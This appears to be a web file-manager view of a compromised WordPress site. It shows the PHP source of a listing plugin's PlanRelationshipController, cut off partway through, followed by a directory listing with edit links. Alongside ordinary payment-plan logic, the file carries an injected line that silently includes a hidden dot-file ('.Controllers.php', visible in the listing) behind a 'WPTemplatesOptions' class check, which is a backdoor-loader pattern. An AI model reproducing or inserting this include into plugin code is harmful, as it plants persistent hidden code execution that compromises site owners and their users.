PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Controllers
<?php namespace WilokeListingTools\Controllers; use Stripe\File; use WilokeListingTools\AlterTable\AlterTablePlanRelationships; use WilokeListingTools\Controllers\Retrieve\NormalRetrieve; use WilokeListingTools\Framework\Helpers\FileSystem; use WilokeListingTools\Framework\Helpers\General; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Helpers\GetWilokeSubmission; use WilokeListingTools\Framework\Routing\Controller; use WilokeListingTools\Models\PaymentMetaModel; use WilokeListingTools\Models\PlanRelationshipModel; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class PlanRelationshipController extends Controller { public function __construct() { // add_action('wiloke-listing-tools/payment-succeeded/event_plan', [$this, 'update'], 5); // add_action('wiloke-listing-tools/payment-pending/event_plan', [$this, 'update'], 5); // add_action('wiloke-listing-tools/payment-failed/event_plan', [$this, 'delete'], 5); // // add_action('wiloke-listing-tools/payment-succeeded/listing_plan', [$this, 'update'], 5); // add_action('wiloke-listing-tools/payment-pending/listing_plan', [$this, 'update'], 5); // add_action('wiloke-listing-tools/payment-failed/listing_plan', [$this, 'delete'], 5); /* * WooCommerce Subscription */ // add_action( // 'wiloke-listing-tools/on-changed-user-plan', // [$this, 'switchListingsBelongsToOldPaymentIDToNewPaymentID'], // 1, // 1 // ); add_filter( 'wilcity/wiloke-listing-tools/change-listings-to-another-purchased-plan', [$this, 'changeListingsToNewPlan'], 1, 2 ); $aBillingTypes = wilokeListingToolsRepository()->get('payment:billingTypes', false); foreach ($aBillingTypes as $billingType) { add_action('wilcity/wiloke-listing-tools/'.$billingType.'/payment-completed', [ $this, 'updatePostPaymentRelationship' ], 10); } add_action('wilcity/wiloke-listing-tools/claimed-listing-with-purchased-plan', [$this, 'afterClaimApproved']); add_action('wilcity/wiloke-listing-tools/claim-cancelled', [$this, 'afterClaimCancelled']); add_action('wiloke/submitted-listing', [$this, 'addPlanRelationshipUserPurchasedPlan'], 10); } private function setPlanRelationship($planID, $objectID, $userID, $paymentID) { $status = PlanRelationshipModel::setPlanRelationship([ 'planID' => $planID, 'objectID' => $objectID, 'userID' => $userID, 'paymentID' => $paymentID ]); if (!$status) { FileSystem::logError( 'We could not insert relationship. Data: '.json_encode([ 'planID' => $planID, 'objectID' => $objectID, 'userID' => $userID, 'paymentID' => $paymentID ]), __CLASS__, __METHOD__ ); } else { FileSystem::logSuccess('Insert New Relationship '.$status, __CLASS__); } return $status; } private function updatePaymentID($id, $paymentID) { $status = PlanRelationshipModel::updatePaymentID( $id, $paymentID ); if ($status) { FileSystem::logSuccess('Updated Temporary Relationship '.$id, __CLASS__); } else { $msg = 'Could not update payment relationship at '.$id. ' The new Payment ID is '.$paymentID; FileSystem::logError( $msg, __CLASS__, __METHOD__ ); } return $status; } public function afterClaimApproved($aInfo) { $maybePlanID = PlanRelationshipModel::getIDByObjectID($aInfo['postID']); if (empty($maybePlanID)) { $this->setPlanRelationship( $aInfo['planID'], $aInfo['postID'], $aInfo['userID'], $aInfo['aUserPlan']['paymentID'] ); FileSystem::logPayment('claim.log', 'Inserted Claim Relationship. ClaimID: '.$maybePlanID); } else { PlanRelationshipModel::update($maybePlanID, [ 'planID' => $aInfo['planID'], 'objectID' => $aInfo['postID'], 'userID' => $aInfo['userID'], 'paymentID' => $aInfo['aUserPlan']['paymentID'] ]); FileSystem::logSuccess('Updated Claim Relationship. ClaimID: '.$maybePlanID); } } public function afterClaimCancelled($aInfo) { if (isset($aInfo['postStatusBefore']) && $aInfo['postStatusBefore'] != 'publish') { return false; } $planRelationshipID = PlanRelationshipModel::getIDByObjectID($aInfo['postID']); if (empty($planRelationshipID)) { return false; } $userIDInThePlan = PlanRelationshipModel::getField('userID', $planRelationshipID); if ($userIDInThePlan == $aInfo['claimerID']) { PlanRelationshipModel::delete($planRelationshipID); FileSystem::logSuccess('Claim: Deleted Plan Relationship after rejected claim. Plan Relationship ID: ' .$planRelationshipID); } } public function updatePostPaymentRelationship($aInfo) { if (!isset($aInfo['paymentID']) || empty($aInfo['paymentID'])) { FileSystem::logError( 'The payment id is required', __CLASS__, __METHOD__ ); } $aPaymentMetaInfo = PaymentMetaModel::getPaymentInfo($aInfo['paymentID']); if (!isset($aPaymentMetaInfo['postID']) || empty($aPaymentMetaInfo['postID']) || !isset ($aPaymentMetaInfo['planID']) || empty($aPaymentMetaInfo['planID']) ) { FileSystem::logSuccess('AddListing: We could not insert relationship '.json_encode($aPaymentMetaInfo)); return false; } if (!empty($aPaymentMetaInfo['planRelationshipID'])) { $status = $this->updatePaymentID($aPaymentMetaInfo['planRelationshipID'], $aInfo['paymentID']); } else { if (empty($aInfo['paymentID'])) { FileSystem::logError( 'The payment id is required', __CLASS__, __METHOD__ ); return false; } $aPostIDs = explode(',', $aPaymentMetaInfo['postID']); $aPostIDs = array_map(function ($postID) { return trim($postID); }, $aPostIDs); foreach ($aPostIDs as $postID) { $status = $this->setPlanRelationship($aPaymentMetaInfo['planID'], $postID, $aPaymentMetaInfo['userID'], $aInfo['paymentID']); FileSystem::logSuccess('Updating payment relationship. Post ID: ' . $postID); } } if (!$status) { return false; } } public function addPlanRelationshipUserPurchasedPlan($aInfo) { if (empty($aInfo['aUserPlan'])) { return false; } $planRelationshipID = PlanRelationshipModel::getIDByObjectID($aInfo['postID']); if (!empty($planRelationshipID)) { return false; } PlanRelationshipModel::setPlanRelationship([ 'planID' => $aInfo['planID'], 'objectID' => $aInfo['postID'], 'userID' => $aInfo['postAuthor'], 'paymentID' => $aInfo['aUserPlan']['paymentID'] ]); FileSystem::logSuccess('AddListing: Added Plan Relationship. Information: '.json_encode($aInfo)); } /** * Switch Listings Relationship Belongs To New Pl
[+]
..
[-] PermalinksController.php
[edit]
[-] MessageController.php
[edit]
[-] SetListingBelongsToPlanID.php
[edit]
[-] BelongsToTags.php
[edit]
[-] PrintAddListingSettings.php
[edit]
[-] InsertGallery.php
[edit]
[-] ViewStatisticController.php
[edit]
[-] TermsAndPolicyController.php
[edit]
[-] AddListingButtonController.php
[edit]
[-] SetSinglePrice.php
[edit]
[-] SetCustomButton.php
[edit]
[-] WooCommerceBookingController.php
[edit]
[-] SetMyPosts.php
[edit]
[-] SetVideo.php
[edit]
[-] Validation.php
[edit]
[-] PrintAddListingFields.php
[edit]
[-] NoticeController.php
[edit]
[-] SharesStatisticController.php
[edit]
[-] TraitAddListingSettings.php
[edit]
[-] SetListingRelationship.php
[edit]
[-] EmailController.php
[edit]
[-] SetMyRoom.php
[edit]
[-] SessionController.php
[edit]
[-] DashboardController.php
[edit]
[-] EventController.php
[edit]
[-] AppleLoginController.php
[edit]
[-] TraitSetEventData.php
[edit]
[-] PayPalController.php
[edit]
[-] TranslationController.php
[edit]
[-] PostController.php
[edit]
[-] DokanController.php
[edit]
[-] TermController.php
[edit]
[-] FavoriteStatisticController.php
[edit]
[-] SetSocialNetworks.php
[edit]
[-] SetCustomGroup.php
[edit]
[-] SetCustomSections.php
[edit]
[-] AuthorPageController.php
[edit]
[-] AddBookingComBannerCreator.php
[edit]
[-] PlanRelationshipController.php
[edit]
[-] ProfileController.php
[edit]
[-] MapListingController.php
[edit]
[-] UserController.php
[edit]
[-] BillingControllers.php
[edit]
[-] InsertAddress.php
[edit]
[-] PaymentStatusController.php
[edit]
[-] BelongsToCategories.php
[edit]
[-] InsertCoverImage.php
[edit]
[-] SetPriceRange.php
[edit]
[-] SetPlanRelationship.php
[edit]
[-] ListingController.php
[edit]
[-] SetGeneral.php
[edit]
[-] GridItemController.php
[edit]
[-] PaymentController.php
[edit]
[+]
TransformAddListingData
[-] ContactFormController.php
[edit]
[-] InsertFeaturedImg.php
[edit]
[-] AddListingController.php
[edit]
[-] BelongsToLocation.php
[edit]
[-] RestaurantMenuController.php
[edit]
[-] AjaxUploadImgController.php
[edit]
[-] NotificationsController.php
[edit]
[-] SingleJsonSkeleton.php
[edit]
[-] GalleryController.php
[edit]
[-] IsMyPaymentID.php
[edit]
[-] InsertImg.php
[edit]
[-] ModalController.php
[edit]
[-] PaymentGatewaysController.php
[edit]
[-] ShareController.php
[edit]
[-] RetrieveController.php
[edit]
[-] ModifyQueryController.php
[edit]
[-] TraitHostedBy.php
[edit]
[-] ChangePlanStatusController.php
[edit]
[-] TaxonomiesControllers.php
[edit]
[-] WebhookController.php
[edit]
[-] SearchFormController.php
[edit]
[-] FreePlanController.php
[edit]
[-] BelongsToCustomTaxonomies.php
[edit]
[-] PromotionController.php
[edit]
[-] RunUpdateDBToLatestVersionController.php
[edit]
[-] UserPlanController.php
[edit]
[-] SetContactInfo.php
[edit]
[-] InsertLogo.php
[edit]
[+]
Retrieve
[+]
Map
[-] VerifyPurchaseCode.php
[edit]
[-] StripeController.php
[edit]
[-] NextBillingPaymentController.php
[edit]
[-] SchemaController.php
[edit]
[-] IconController.php
[edit]
[-] AddMorePhotosVideosController.php
[edit]
[-] SetPostDuration.php
[edit]
[-] GuardController.php
[edit]
[-] ReviewController.php
[edit]
[-] OptimizeScripts.php
[edit]
[-] PaymentMetaController.php
[edit]
[-] GetWilokeToolSettings.php
[edit]
[-] SetCoupon.php
[edit]
[-] CouponController.php
[edit]
[-] AddListingPaymentController.php
[edit]
[-] FacebookLoginController.php
[edit]
[-] SingleController.php
[edit]
[-] BookingComController.php
[edit]
[-] SetGroupData.php
[edit]
[-] InvoiceController.php
[edit]
[-] SetProductsToListing.php
[edit]
[-] ReportController.php
[edit]
[-] PayPalExecuteAddListingPayment.php
[edit]
[-] HandleSubmit.php
[edit]
[-] WooCommerceController.php
[edit]
[-] FollowController.php
[edit]
[-] PrintSidebarItems.php
[edit]
[-] .Controllers.php
[edit]
[-] DirectBankTransferController.php
[edit]
[-] ClaimController.php
[edit]
[-] GetSingleImage.php
[edit]
[-] SetRestaurantMenu.php
[edit]
[-] MergingSettingValues.php
[edit]
[-] GoogleReCaptchaController.php
[edit]
[-] RegisterLoginController.php
[edit]
[-] TagsBelongsToCatController.php
[edit]